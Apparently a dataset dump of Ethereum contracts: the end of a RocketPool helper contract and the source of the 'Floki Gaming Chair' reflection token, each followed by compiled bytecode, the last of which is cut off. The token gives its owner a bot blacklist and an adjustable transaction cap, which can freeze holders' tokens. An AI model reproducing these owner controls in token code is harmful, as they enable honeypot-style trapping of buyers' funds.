* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
// Part: RocketPoolHelper
contract RocketPoolHelper {
using SafeMath for uint256;
using Address for address;
IRocketPool internal constant rocketStorage =
IRocketPool(0x1d8f8f00cfa6758d7bE78336684788Fb0ee0Fa46);
/**
* @notice
* Check if a user is able to transfer their rETH. Following deposit,
* rocketpool has an adjustable freeze period (in blocks). At deployment
* this is ~24 hours, but this will likely go down over time.
*
* @param _user The address of the user to check
* @return True if the user is free to move any rETH they have
**/
///@notice Check if a user is able to transfer their rETH.
function isRethFree(address _user) public view returns (bool) {
// Check which block the user's last deposit was
bytes32 key = keccak256(abi.encodePacked("user.deposit.block", _user));
uint256 lastDepositBlock = rocketStorage.getUint(key);
if (lastDepositBlock > 0) {
// Ensure enough blocks have passed
uint256 depositDelay =
rocketStorage.getUint(
keccak256(
abi.encodePacked(
keccak256("dao.protocol.setting.network"),
"network.reth.deposit.delay"
)
)
);
uint256 blocksPassed = block.number.sub(lastDepositBlock);
return blocksPassed > depositDelay;
} else {
return true; // true if we haven't deposited
}
}
/**
* @notice
* Check to see if the rETH deposit pool can accept a specified amount
* of ether based on deposits being enabled, minimum deposit size, and
* free space remaining in the deposit pool.
*
* @param _ethAmount The amount of ether to deposit
* @return True if we can deposit the input amount of ether
**/
function rEthCanAcceptDeposit(uint256 _ethAmount)
public
view
returns (bool)
{
// pull our contract addresses
IRocketPool rocketDAOProtocolSettingsDeposit =
IRocketPool(getRPLContract("rocketDAOProtocolSettingsDeposit"));
IRocketPool rocketDepositPool =
IRocketPool(getRPLContract("rocketDepositPool"));
// first check that deposits are enabled and that our deposit isn't too small
if (_ethAmount < rocketDAOProtocolSettingsDeposit.getMinimumDeposit()) {
return false;
} else if (!rocketDAOProtocolSettingsDeposit.getDepositEnabled()) {
return false;
}
// now check to see if there's enough space for the ETH we want to deposit
uint256 maxAmount =
rocketDAOProtocolSettingsDeposit.getMaximumDepositPoolSize().sub(
rocketDepositPool.getBalance()
);
return maxAmount > _ethAmount;
}
///@notice The current rETH pool deposit address.
function getRocketDepositPoolAddress() public view returns (address) {
return getRPLContract("rocketDepositPool");
}
function getRPLContract(string memory _contractName)
internal
view
returns (address)
{
return
rocketStorage.getAddress(
keccak256(abi.encodePacked("contract.address", _contractName))
);
}
}
|
0x608060405234801561001057600080fd5b50600436106100415760003560e01c806364b487c4146100465780639c7bc92a1461006f578063cc31fc6214610082575b600080fd5b610059610054366004610698565b610097565b604051610066919061077b565b60405180910390f35b61005961007d366004610640565b61030d565b61008a6104cb565b6040516100669190610767565b6000806100d86040518060400160405280602081526020017f726f636b657444414f50726f746f636f6c53657474696e67734465706f736974815250610504565b9050600061010e604051806040016040528060118152602001701c9bd8dad95d11195c1bdcda5d141bdbdb607a1b815250610504565b9050816001600160a01b031663035cf1426040518163ffffffff1660e01b815260040160206040518083038186803b15801561014957600080fd5b505afa15801561015d573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061018191906106b0565b84101561019357600092505050610308565b816001600160a01b0316636ada78476040518163ffffffff1660e01b815260040160206040518083038186803b1580156101cc57600080fd5b505afa1580156101e0573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906102049190610678565b61021357600092505050610308565b6000610300826001600160a01b03166312065fe06040518163ffffffff1660e01b815260040160206040518083038186803b15801561025157600080fd5b505afa158015610265573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061028991906106b0565b846001600160a01b031663fd6ce89e6040518163ffffffff1660e01b815260040160206040518083038186803b1580156102c257600080fd5b505afa1580156102d6573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906102fa91906106b0565b906105c2565b851093505050505b919050565b6000808260405160200161032191906106f7565b60408051601f1981840301815290829052805160209091012063bd02d0f560e01b82529150600090731d8f8f00cfa6758d7be78336684788fb0ee0fa469063bd02d0f590610373908590600401610786565b60206040518083038186803b15801561038b57600080fd5b505afa15801561039f573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906103c391906106b0565b905080156104c0576000731d8f8f00cfa6758d7be78336684788fb0ee0fa466001600160a01b031663bd02d0f57f7cb36cfba78818e097a3d983f102f9107317663854a5d185ea320a1e1a7da21560405160200161042191906106c8565b604051602081830303815290604052805190602001206040518263ffffffff1660e01b81526004016104539190610786565b60206040518083038186803b15801561046b57600080fd5b505afa15801561047f573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906104a391906106b0565b905060006104b143846105c2565b91909111935061030892505050565b600192505050610308565b60006104ff604051806040016040528060118152602001701c9bd8dad95d11195c1bdcda5d141bdbdb607a1b815250610504565b905090565b6000731d8f8f00cfa6758d7be78336684788fb0ee0fa466001600160a01b03166321f8a7218360405160200161053a919061072f565b604051602081830303815290604052805190602001206040518263ffffffff1660e01b815260040161056c9190610786565b60206040518083038186803b15801561058457600080fd5b505afa158015610598573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906105bc919061065c565b92915050565b600061060483836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f77000081525061060b565b9392505050565b600081848411156106385760405162461bcd60e51b815260040161062f919061078f565b60405180910390fd5b505050900390565b600060208284031215610651578081fd5b8135610604816107f2565b60006020828403121561066d578081fd5b8151610604816107f2565b600060208284031215610689578081fd5b81518015158114610604578182fd5b6000602082840312156106a9578081fd5b5035919050565b6000602082840312156106c1578081fd5b5051919050565b9081527f6e6574776f726b2e726574682e6465706f7369742e64656c61790000000000006020820152603a0190565b71757365722e6465706f7369742e626c6f636b60701b815260609190911b6bffffffffffffffffffffffff1916601282015260260190565b60006f636f6e74726163742e6164647265737360801b8252825161075a8160108501602087016107c2565b9190910160100192915050565b6001600160a01b0391909116815260200190565b901515815260200190565b90815260200190565b60006020825282518060208401526107ae8160408501602087016107c2565b601f01601f19169190910160400192915050565b60005b838110156107dd5781810151838201526020016107c5565b838111156107ec576000848401525b50505050565b6001600160a01b038116811461080757600080fd5b5056fea264697066735822122092ef710a0ea9deeb36307d11195be9a48dd88a746fbc3add3d8f2ba276f631e164736f6c634300060c0033
|
{"success": true, "error": null, "results": {}}
| 5,947 |
0x20847e37d18e2bdfad4721deb8c5472b6fb1f580
|
/**
*Submitted for verification at Etherscan.io on 2021-07-13
*/
/*
https://t.me/flokigamingchair
*/
//SPDX-License-Identifier: Unlicensed
pragma solidity ^0.6.12;
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this;
return msg.data;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
library Address {
function isContract(address account) internal view returns (bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
if (returndata.length > 0) {
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract FlokiGamingChair is Context, IERC20, Ownable {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => bool) private _isExcluded;
mapping (address => bool) private bots;
mapping (address => uint) private cooldown;
address[] private _excluded;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1 *10**12 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
string private constant _name = "Floki Gaming Chair";
string private constant _symbol = 'FGC';
uint8 private constant _decimals = 9;
uint256 private _taxFee = 5;
uint256 private _teamFee = 10;
uint256 private _previousTaxFee = _taxFee;
uint256 private _previousteamFee = _teamFee;
address payable private _FeeAddress;
address payable private _marketingWalletAddress;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
bool private cooldownEnabled = false;
uint256 private _maxTxAmount = _tTotal;
event MaxTxAmountUpdated(uint _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor (address payable FeeAddress, address payable marketingWalletAddress) public {
_FeeAddress = FeeAddress;
_marketingWalletAddress = marketingWalletAddress;
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[FeeAddress] = true;
_isExcludedFromFee[marketingWalletAddress] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public view override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
if (_isExcluded[account]) return _tOwned[account];
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function setCooldownEnabled(bool onoff) external onlyOwner() {
cooldownEnabled = onoff;
}
function tokenFromReflection(uint256 rAmount) private view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if(_taxFee == 0 && _teamFee == 0) return;
_previousTaxFee = _taxFee;
_previousteamFee = _teamFee;
_taxFee = 0;
_teamFee = 0;
}
function restoreAllFee() private {
_taxFee = _previousTaxFee;
_teamFee = _previousteamFee;
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
if (cooldownEnabled) {
if (from != address(this) && to != address(this) && from != address(uniswapV2Router) && to != address(uniswapV2Router)) {
require(_msgSender() == address(uniswapV2Router) || _msgSender() == uniswapV2Pair,"ERR: Uniswap only");
}
}
if(from != address(this)){
require(amount <= _maxTxAmount);
require(!bots[from] && !bots[to]);
}
if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] && cooldownEnabled) {
require(cooldown[to] < block.timestamp);
cooldown[to] = block.timestamp + (30 seconds);
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwap && from != uniswapV2Pair && swapEnabled) {
if(cooldownEnabled){
require(cooldown[from] < block.timestamp - (360 seconds));
}
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if(contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
if(_isExcludedFromFee[from] || _isExcludedFromFee[to]){
takeFee = false;
}
_tokenTransfer(from,to,amount,takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_FeeAddress.transfer(amount.div(10).mul(8));
_marketingWalletAddress.transfer(amount.div(10).mul(2));
}
function manualswap() external {
require(_msgSender() == _FeeAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _FeeAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function openTrading() external onlyOwner() {
require(!tradingOpen,"trading is already open");
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
swapEnabled = true;
cooldownEnabled = true;
tradingOpen = true;
IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
}
function setBots(address[] memory bots_) public onlyOwner {
for (uint i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function delBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(address sender, address recipient, uint256 amount, bool takeFee) private {
if(!takeFee)
removeAllFee();
if (_isExcluded[sender] && !_isExcluded[recipient]) {
_transferFromExcluded(sender, recipient, amount);
} else if (!_isExcluded[sender] && _isExcluded[recipient]) {
_transferToExcluded(sender, recipient, amount);
} else if (_isExcluded[sender] && _isExcluded[recipient]) {
_transferBothExcluded(sender, recipient, amount);
} else {
_transferStandard(sender, recipient, amount);
}
if(!takeFee)
restoreAllFee();
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferToExcluded(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_tOwned[recipient] = _tOwned[recipient].add(tTransferAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferFromExcluded(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_tOwned[sender] = _tOwned[sender].sub(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferBothExcluded(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_tOwned[sender] = _tOwned[sender].sub(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_tOwned[recipient] = _tOwned[recipient].add(tTransferAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
if(_isExcluded[address(this)])
_tOwned[address(this)] = _tOwned[address(this)].add(tTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _taxFee, _teamFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) {
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
for (uint256 i = 0; i < _excluded.length; i++) {
if (_rOwned[_excluded[i]] > rSupply || _tOwned[_excluded[i]] > tSupply) return (_rTotal, _tTotal);
rSupply = rSupply.sub(_rOwned[_excluded[i]]);
tSupply = tSupply.sub(_tOwned[_excluded[i]]);
}
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function setMaxTxPercent(uint256 maxTxPercent) external onlyOwner() {
require(maxTxPercent > 0, "Amount must be greater than 0");
_maxTxAmount = _tTotal.mul(maxTxPercent).div(10**2);
emit MaxTxAmountUpdated(_maxTxAmount);
}
}
|
0x60806040526004361061010d5760003560e01c8063715018a611610095578063b515566a11610064578063b515566a14610567578063c3c8cd801461062c578063c9567bf914610643578063d543dbeb1461065a578063dd62ed3e1461069557610114565b8063715018a61461040e5780638da5cb5b1461042557806395d89b4114610466578063a9059cbb146104f657610114565b8063273123b7116100dc578063273123b7146102d6578063313ce567146103275780635932ead1146103555780636fc3eaec1461039257806370a08231146103a957610114565b806306fdde0314610119578063095ea7b3146101a957806318160ddd1461021a57806323b872dd1461024557610114565b3661011457005b600080fd5b34801561012557600080fd5b5061012e61071a565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561016e578082015181840152602081019050610153565b50505050905090810190601f16801561019b5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156101b557600080fd5b50610202600480360360408110156101cc57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610757565b60405180821515815260200191505060405180910390f35b34801561022657600080fd5b5061022f610775565b6040518082815260200191505060405180910390f35b34801561025157600080fd5b506102be6004803603606081101561026857600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610786565b60405180821515815260200191505060405180910390f35b3480156102e257600080fd5b50610325600480360360208110156102f957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061085f565b005b34801561033357600080fd5b5061033c610982565b604051808260ff16815260200191505060405180910390f35b34801561036157600080fd5b506103906004803603602081101561037857600080fd5b8101908080351515906020019092919050505061098b565b005b34801561039e57600080fd5b506103a7610a70565b005b3480156103b557600080fd5b506103f8600480360360208110156103cc57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610ae2565b6040518082815260200191505060405180910390f35b34801561041a57600080fd5b50610423610bcd565b005b34801561043157600080fd5b5061043a610d53565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561047257600080fd5b5061047b610d7c565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156104bb5780820151818401526020810190506104a0565b50505050905090810190601f1680156104e85780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561050257600080fd5b5061054f6004803603604081101561051957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610db9565b60405180821515815260200191505060405180910390f35b34801561057357600080fd5b5061062a6004803603602081101561058a57600080fd5b81019080803590602001906401000000008111156105a757600080fd5b8201836020820111156105b957600080fd5b803590602001918460208302840111640100000000831117156105db57600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600081840152601f19601f820116905080830192505050505050509192919290505050610dd7565b005b34801561063857600080fd5b50610641610f27565b005b34801561064f57600080fd5b50610658610fa1565b005b34801561066657600080fd5b506106936004803603602081101561067d57600080fd5b810190808035906020019092919050505061160f565b005b3480156106a157600080fd5b50610704600480360360408110156106b857600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506117be565b6040518082815260200191505060405180910390f35b60606040518060400160405280601281526020017f466c6f6b692047616d696e672043686169720000000000000000000000000000815250905090565b600061076b610764611845565b848461184d565b6001905092915050565b6000683635c9adc5dea00000905090565b6000610793848484611a44565b6108548461079f611845565b61084f85604051806060016040528060288152602001613dbc60289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610805611845565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546123089092919063ffffffff16565b61184d565b600190509392505050565b610867611845565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610927576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b6000600760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b60006009905090565b610993611845565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a53576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b80601360176101000a81548160ff02191690831515021790555050565b601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610ab1611845565b73ffffffffffffffffffffffffffffffffffffffff1614610ad157600080fd5b6000479050610adf816123c8565b50565b6000600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615610b7d57600360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050610bc8565b610bc5600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546124e9565b90505b919050565b610bd5611845565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610c95576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600381526020017f4647430000000000000000000000000000000000000000000000000000000000815250905090565b6000610dcd610dc6611845565b8484611a44565b6001905092915050565b610ddf611845565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610e9f576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b60005b8151811015610f2357600160076000848481518110610ebd57fe5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080600101915050610ea2565b5050565b601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610f68611845565b73ffffffffffffffffffffffffffffffffffffffff1614610f8857600080fd5b6000610f9330610ae2565b9050610f9e8161256d565b50565b610fa9611845565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611069576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b601360149054906101000a900460ff16156110ec576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260178152602001807f74726164696e6720697320616c7265616479206f70656e00000000000000000081525060200191505060405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080601260006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555061117c30601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16683635c9adc5dea0000061184d565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b1580156111c257600080fd5b505afa1580156111d6573d6000803e3d6000fd5b505050506040513d60208110156111ec57600080fd5b810190808051906020019092919050505073ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561125f57600080fd5b505afa158015611273573d6000803e3d6000fd5b505050506040513d602081101561128957600080fd5b81019080805190602001909291905050506040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff1681526020018273ffffffffffffffffffffffffffffffffffffffff168152602001